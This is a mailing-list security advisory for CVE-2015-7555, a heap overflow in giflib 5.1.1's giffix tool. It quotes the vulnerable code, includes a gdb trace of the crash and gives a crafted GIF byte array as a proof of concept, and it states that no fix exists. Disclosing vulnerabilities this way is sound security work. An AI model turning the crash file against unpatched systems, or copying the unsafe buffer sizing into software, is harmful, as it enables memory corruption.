[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

giflib: heap overflow in giffix (CVE-2015-7555)



About
=====

giflib[1] is a library for working with GIF images.  It also provides
several command-line utilities.


CVE-2015-7555
=============

A heap overflow may occur in the giffix utility included in giflib-5.1.1
when processing records of the type `IMAGE_DESC_RECORD_TYPE' due to the
allocated size of `LineBuffer' equaling the value of the logical screen
width, `GifFileIn->SWidth', while subsequently having
`GifFileIn->Image.Width' bytes of data written to it.


giflib-5.1.1/util/giffix.c #35..194:
,----
| int main(int argc, char **argv)
| {
|     [...]
|     if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)
|         GIF_EXIT("Failed to allocate memory required, aborted.");
| 
|     /* Scan the content of the GIF file and load the image(s) in: */
|     do {
|         [...]
|         switch (RecordType) {
|             case IMAGE_DESC_RECORD_TYPE:
|                 if (DGifGetImageDesc(GifFileIn) == GIF_ERROR)
|                     QuitGifError(GifFileIn, GifFileOut);
|                 [...]
|                 Width = GifFileIn->Image.Width;
|                 Height = GifFileIn->Image.Height;
|                 [...]
|                 /* Find the darkest color in color map to use as a filler. */
|                 ColorMap = (GifFileIn->Image.ColorMap ? GifFileIn->Image.ColorMap :
|                                                      GifFileIn->SColorMap);
|                 for (i = 0; i < ColorMap->ColorCount; i++) {
|                     j = ((int) ColorMap->Colors[i].Red) * 30 +
|                         ((int) ColorMap->Colors[i].Green) * 59 +
|                         ((int) ColorMap->Colors[i].Blue) * 11;
|                     if (j < ColorIntens) {
|                         ColorIntens = j;
|                         DarkestColor = i;
|                     }
|                 }
| 
|                 /* Load the image, and dump it. */
|                 for (i = 0; i < Height; i++) {
|                     GifQprintf("\b\b\b\b%-4d", i);
|                     if (DGifGetLine(GifFileIn, LineBuffer, Width)
|                         == GIF_ERROR) break;
|                     if (EGifPutLine(GifFileOut, LineBuffer, Width)
|                         == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut);
|                 }
| 
|                 if (i < Height) {
|                     [...]
|                     /* Fill in with the darkest color in color map. */
|                     for (j = 0; j < Width; j++)
|                         LineBuffer[j] = DarkestColor;
|                     for (; i < Height; i++)
|                         if (EGifPutLine(GifFileOut, LineBuffer, Width)
|                             == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut);
|                 }
|                 break;
|             [...]
|         }
|     }
|     while (RecordType != TERMINATE_RECORD_TYPE);
|     [...]
| }
`----

,----
| $ gdb -q --args ./giffix heap.gif
| Reading symbols from ./giffix...done.
| (gdb) b util/giffix.c:94
| Breakpoint 1 at 0x401131: file giffix.c, line 94.
| (gdb) b util/giffix.c:148
| Breakpoint 2 at 0x401449: file giffix.c, line 148.
| (gdb) b util/giffix.c:149
| Breakpoint 3 at 0x401452: file giffix.c, line 149.
| 
| (gdb) commands 3
| Type commands for breakpoint(s) 3, one per line.
| End with a line saying just "end".
| >printf "%p, 0x%02x\n", LineBuffer+j, DarkestColor
| >c
| >end
| 
| (gdb) r
| [...]
| Breakpoint 1, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:94
| 94      if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)
| 
| (gdb) p GifFileIn->SWidth
| $1 = 1
| 
| (gdb) c
| [...]
| Breakpoint 2, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:148
| 148             for (j = 0; j < Width; j++)
| 
| (gdb) p Width
| $2 = 255
| 
| (gdb) c
| Continuing.
| 
| Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
| 149             LineBuffer[j] = DarkestColor;
| 0x618920, 0x01
| 
| [...]
| 
| Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
| 149             LineBuffer[j] = DarkestColor;
| 0x618940, 0x01
| 
| [...]
| 
| Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
| 149             LineBuffer[j] = DarkestColor;
| 0x618a1e, 0x01
| 
| Program received signal SIGSEGV, Segmentation fault.
| 0x00007ffff7bd8658 in GifFreeMapObject (Object=0x101010101010101) at gifalloc.c:80
| 80          (void)free(Object->Colors);
`----


heap.gif:
,----
| unsigned char heap[] = {
|     /* GIF87a */
|     0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
| 
|     /* DGifGetScreenDesc() */
|     0x01, 0x00,         /* GifFile->SWidth */
|     0x01, 0x00,         /* GifFile->SHeight */
|     0x80,               /* ColorCount = 1 << ((this & 0x07) + 1) */
|     0x00,               /* GifFile->SBackGroundColor */
|     0x00,               /* GifFile->AspectByte */
|     0x11, 0x11, 0x11,   /* GifFile->SColorMap->Colors[0] */
|     0x00, 0x00, 0x00,   /* GifFile->SColorMap->Colors[1] */
| 
|     /* DGifGetRecordType() */
|     0x2c,               /* DESCRIPTOR_INTRODUCER */
| 
|     /* DGifGetImageDesc() */
|     0x00, 0x00,         /* GifFile->Image.Left */
|     0x00, 0x00,         /* GifFile->Image.Top */
|     0xff, 0x00,         /* GifFile->Image.Width */
|     0x01, 0x00,         /* GifFile->Image.Height */
|     0x00,               /* BitsPerPixel = (this & 0x07) + 1 */
| 
|     /* DGifSetupDecompress() */
|     0x00,               /* CodeSize */
| 
|     /* end of image data */
|     0x00,
| 
|     /* end of gif */
|     0x3b
| };
`----


Solution
========

No fix exists as of yet.



Footnotes
_________

[1] [http://giflib.sourceforge.net/]


Hans Jerry Illikainen